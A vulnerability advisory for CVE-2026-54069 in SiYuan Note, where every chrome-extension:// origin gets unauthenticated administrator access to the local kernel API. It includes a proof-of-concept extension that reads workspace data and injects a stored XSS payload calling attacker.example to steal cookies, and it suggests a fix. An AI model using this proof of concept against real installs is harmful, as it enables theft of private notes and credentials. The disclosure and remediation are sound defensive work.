CVE-2026-54069

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering. This vulnerability is fixed in 3.7.0.

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering. This vulnerability is fixed in 3.7.0.

SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist in github.com/siyuan-note/siyuan/kernel

## Summary SiYuan Note's kernel HTTP server unconditionally trusts all `chrome-extension://` origins, granting `RoleAdministrator` access to every installed browser extension without any authentication. Combined with the default empty `AccessAuthCode` on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at `127.0.0.1:6806`, enabling data exfiltration, stored XSS injection, and configuration tampering. ## Affected Versions SiYuan <= v3.6.5 (commit `96dfe0bea474`). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (`d7b77d945e0d`). ## Vulnerability Details ### Blanket chrome-extension:// Origin Trust (CWE-346) In `kernel/model/session.go:277`, the `CheckAuth` middleware exempts all `chrome-extension://` origins from authentication: ```go if strings.HasPrefix(origin, "chrome-extension://") { // skip auth } ``` At `session.go:284`, the request is assigned `RoleAdministrator`: ```go c.Set("role", model.RoleAdministrator) ``` The `AccessAuthCode` field defaults to an empty string for desktop installs (`ContainerStd`). When empty, no token validation occurs. This means **any** Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel. The origin check trusts the entire `chrome-extension://` scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit `host_permissions`) can access all admin endpoints. ## Proof of Concept **Unauthenticated admin API access via browser extension:** A minimal Chrome extension with only default permissions: ```json { "manifest_version": 3, "name": "SiYuan PoC", "version": "1.0", "background": { "service_worker": "bg.js" } } ``` ```javascript // bg.js -- runs as chrome-extension://<id> // No special host_permissions needed; localhost is accessible by default // 1. Verify admin access fetch('http://127.0.0.1:6806/api/system/getConf', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }).then(r => r.json()).then(data => { console.log('[PoC] Admin API access confirmed:', data.code === 0); }); // 2. Exfiltrate workspace data fetch('http://127.0.0.1:6806/api/query/sql', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' }) }).then(r => r.json()).then(data => { console.log('[PoC] Exfiltrated blocks:', data.data?.length); }); // 3. Inject stored XSS payload into a note fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ notebook: '', path: '/' }) }).then(r => r.json()).then(tree => { const firstDoc = tree.data?.files?.[0]; if (!firstDoc) return; fetch('http://127.0.0.1:6806/api/block/insertBlock', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ dataType: 'markdown', data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">', parentID: firstDoc.id }) }); }); ``` The extension requires zero special permissions. The `chrome-extension://` origin header is automatically sent by the browser, and `session.go:277` grants it `RoleAdministrator` without any token check. ## Impact - **Unauthenticated admin API access** for any installed browser extension, enabling full control of the SiYuan kernel - **Data exfiltration** of the entire workspace via `/api/query/sql`, `/api/filetree/`, `/api/export/` - **Stored XSS injection** via admin API endpoints (`/api/block/insertBlock`, `/api/attr/setBlockAttrs`), persisted in the user's notes - **Configuration tampering** via `/api/system/setConf`, enabling persistence and further attack surface expansion - **Supply chain amplification**: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user ## Suggested Remediation **Remove blanket chrome-extension:// allowlist:** ```diff --- a/kernel/model/session.go +++ b/kernel/model/session.go @@ -274,9 +274,6 @@ func CheckAuth(c *gin.Context) { origin := c.GetHeader("Origin") - if strings.HasPrefix(origin, "chrome-extension://") { - // Allow chrome extension requests - } else if !isValidOrigin(origin) { c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"}) return ``` If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.

SiYuan es un sistema de gestión de conocimiento personal de código abierto. Antes de la versión 3.7.0, el servidor HTTP del kernel de SiYuan Note confía incondicionalmente en todos los orígenes chrome-extension://, otorgando acceso de RoleAdministrator a cada extensión de navegador instalada sin ninguna autenticación. Combinado con el AccessAuthCode vacío por defecto en las instalaciones de escritorio, cualquier extensión de Chrome/Chromium -- incluyendo una extensión legítima comprometida a través de un ataque a la cadena de suministro -- puede realizar llamadas a la API de administrador completamente autenticadas al kernel de SiYuan en 127.0.0.1:6806, lo que permite la exfiltración de datos, la inyección de XSS almacenado y la manipulación de la configuración. Esta vulnerabilidad se corrige en la versión 3.7.0.